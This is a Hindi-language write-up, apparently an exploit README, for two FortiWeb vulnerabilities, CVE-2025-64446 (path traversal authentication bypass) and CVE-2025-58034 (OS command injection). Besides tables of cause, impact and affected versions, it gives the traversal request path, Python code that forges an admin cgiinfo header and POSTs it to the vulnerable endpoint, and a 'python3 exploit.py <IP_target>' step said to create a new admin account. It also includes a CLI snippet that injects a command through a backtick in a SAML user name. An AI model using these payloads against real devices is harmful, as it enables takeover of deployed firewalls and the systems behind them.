
भेद्यता FORTIWEB_CVE-2025-64446 & CVE-2025-58034
FortiWeb एक वेब एप्लिकेशन फ़ायरवॉल (WAF) उपकरण है जिसका उपयोग वेब अनुप्रयोगों की सुरक्षा के लिए किया जाता है।
वर्ष 2025 में, दो गंभीर कमज़ोरियाँ खोजी गईं:
| आइटम | विवरण |
|---|---|
| कमज़ोरी का प्रकार | Relative Path Traversal Authentication Bypass |
| कारण | FortiWeb प्रमाणीकरण से पहले पथ को सख्ती से संसाधित नहीं करता: - तार्किक पथ स्ट्रिंग के आधार पर अभिगम नियंत्रण - पथ को पूरी तरह से सामान्यीकृत (normalize) नहीं करता - आंतरिक संसाधनों तक पहुँचने के लिए ../ के उपयोग की अनुमति देता है |
| विवरण | कुछ प्रशासनिक एंडपॉइंट्स तक बिना मान्य प्रमाणीकरण के पहुँचा जा सकता है |
| प्रभाव | - प्रमाणीकरण को पूरी तरह से बायपास करना - एडमिन कार्यक्षमता तक अनधिकृत पहुँच - अभिगम नियंत्रण मॉडल को तोड़ना |
| प्रभावित संस्करण | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
उदाहरण:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
यह लाइब्रेरी संस्करण टकराव से बचने, कार्य वातावरण की स्थिरता सुनिश्चित करने और सिस्टम पर प्रभाव को सीमित करने में मदद करता है
पेलोड
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Python3 के साथ टूल चलाएँ:
python3 exploit.py <IP_target>
<IP_target>: यहां IP पता FortiWeb डिवाइस का होस्टनाम है।
यूज़रनेम और पासवर्ड प्राप्त करें -> लॉगिन करें
शोषण सफल रहा और एडमिन अधिकारों के साथ एक नया खाता बनाया गया।
नव निर्मित व्यवस्थापक खाते से सफलतापूर्वक लॉगिन करने के बाद, हमलावर विशेष रूप से तैयार अनुरोधों के माध्यम से या सीधे FortiWeb CLI कमांड-लाइन इंटरफ़ेस के माध्यम से प्रमाणित कमांड इंजेक्शन कमज़ोरी का शोषण कर सकता है:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb कॉन्फ़िगरेशन स्ट्रिंग से बाहर निकल जाएगा और saml-user कॉन्फ़िगरेशन के दौरान id कमांड निष्पादित करेगा।
| आइटम | विवरण |
|---|
| कमज़ोरी का प्रकार | OS Command Injection (CWE-78) |
| कारण | FortiWeb ऑपरेटिंग सिस्टम कमांड निष्पादित करते समय इनपुट को असुरक्षित रूप से संसाधित करता है: - इनपुट सत्यापित नहीं करता - विशेष वर्णों को एस्केप नहीं करता - उपयोगकर्ता डेटा को सीधे सिस्टम कमांड में पास करता है |
| विवरण | इस कमज़ोरी के लिए प्रमाणीकरण आवश्यक है लेकिन सिस्टम कमांड इंजेक्शन की अनुमति देता है |
| प्रभाव | - अनपेक्षित कमांड निष्पादित करना - सिस्टम संसाधनों तक पहुँच - अखंडता और उपलब्धता को प्रभावित करना |
| प्रभावित संस्करण | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |